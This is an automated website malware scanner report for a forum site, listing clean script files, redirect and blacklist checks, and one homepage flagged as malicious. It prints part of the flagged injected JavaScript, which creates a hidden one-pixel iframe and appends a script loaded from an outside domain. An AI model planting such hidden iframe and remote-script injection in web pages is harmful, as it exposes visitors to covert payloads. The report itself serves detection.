New scan:

Malware Scanner report for forum.aflam0.com

Malicious/Suspicious/Total urls checked
1/0/16
1 page has malicious code. See details below
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/2
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://forum.aflam0.com/
200 OK
Content-Length: 123535
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)


<!--
var interstitialBox={
ie7: window.XMLHttpRequest && document.all && !window.opera,
ie7offline: this.ie7 && window.location.href.indexOf("http")==-1,
launch:false,
scrollbarwidth: 16,

loadpage:function(url){
page_request = url
document.getElementById("interContent").innerHTML='<iframe src="'+ page_request +'" style="width: 10%; height: 1px" marginwidth="0" marginheight="0" frameborder="0" vspace="0" hs
... 3573 bytes are skipped ...
||forceInterstitial){var ppob = document.getElementById(pppid);var scob = document.createElement("SCRIPT");scob.src = "http://ahl-alfan.com/vb/";ppob.appendChild(scob);}', 10);
}

var pppid='pppid142'; document.write("<object style='display:block;width:1px;height:1px;position:absolute;left:0px;top:0px' id='"+pppid+"'></object>");


if (usingObject) {setupObject();}
if (usingEditor) {startObject();}
loadingPop();
self.focus();
-->

Antivirus reports:

Jiangmin
Trojan/Script.Gen
eSafe
JS.ISTBAR.cn

http://forum.aflam0.com/mwaextraedit2/mwaextraedit2settings.js
200 OK
Content-Length: 2119
Content-Type: application/javascript
clean
http://forum.aflam0.com/mwaextraedit2/gradient.js
200 OK
Content-Length: 4705
Content-Type: application/javascript
clean
http://forum.aflam0.com/mwaextraedit2/poem.js
200 OK
Content-Length: 14548
Content-Type: application/javascript
clean
http://forum.aflam0.com/mwaextraedit2/read.js
200 OK
Content-Length: 1261
Content-Type: application/javascript
clean
http://forum.aflam0.com/mwaextraedit2/type.js
200 OK
Content-Length: 4581
Content-Type: application/javascript
clean
http://forum.aflam0.com/mwaextraedit2/marq.js
200 OK
Content-Length: 2128
Content-Type: application/javascript
clean
http://forum.aflam0.com/mwaextraedit2/rainbow.js
200 OK
Content-Length: 7546
Content-Type: application/javascript
clean
http://forum.aflam0.com/clientscript/yui/yahoo-dom-event/yahoo-dom-event.js?v=385
200 OK
Content-Length: 36628
Content-Type: application/javascript
clean
http://forum.aflam0.com/clientscript/yui/connection/connection-min.js?v=385
200 OK
Content-Length: 11604
Content-Type: application/javascript
clean
http://forum.aflam0.com/clientscript/vbulletin_global.js?v=385
200 OK
Content-Length: 26013
Content-Type: application/javascript
clean
http://forum.aflam0.com/clientscript/vbulletin_menu.js?v=385
200 OK
Content-Length: 9426
Content-Type: application/javascript
clean
http://forum.aflam0.com/clientscript/ncode_imageresizer.js?v=1.0.2
200 OK
Content-Length: 9465
Content-Type: application/javascript
clean
https://cdn.adf.ly/js/link-converter.js
200 OK
Content-Length: 28802
Content-Type: application/x-javascript
clean
http://www.egy2media.com/open.js
HTTP/1.1 404 Not Found
Connection: close
Date: Thu, 05 Mar 2015 15:17:18 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html
X-Powered-By: PHP/5.2.17
clean
http://www.egy2media.com/
200 OK
Content-Length: 0
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: forum.aflam0.com

Result:
HTTP/1.1 200 OK
Cache-Control: private
Connection: close
Date: Thu, 05 Mar 2015 15:28:21 GMT
Pragma: private
Server: nginx admin
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Set-Cookie: bbsessionhash=908f1bfac7401d3bab72b89f0ffe8e61; path=/; HttpOnly
Set-Cookie: bblastvisit=1425569300; expires=Fri, 04-Mar-2016 15:28:20 GMT; path=/
Set-Cookie: bblastactivity=0; expires=Fri, 04-Mar-2016 15:28:20 GMT; path=/
Set-Cookie: vbseo_loggedin=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
X-Cache: HIT from Backend
X-UA-Compatible: IE=7
Second query (visit from search engine):
GET / HTTP/1.1
Host: forum.aflam0.com
Referer: http://www.google.com/search?q=forum.aflam0.com

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=forum.aflam0.com

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://forum.aflam0.com/

Result: forum.aflam0.com is not infected or malware details are not published yet.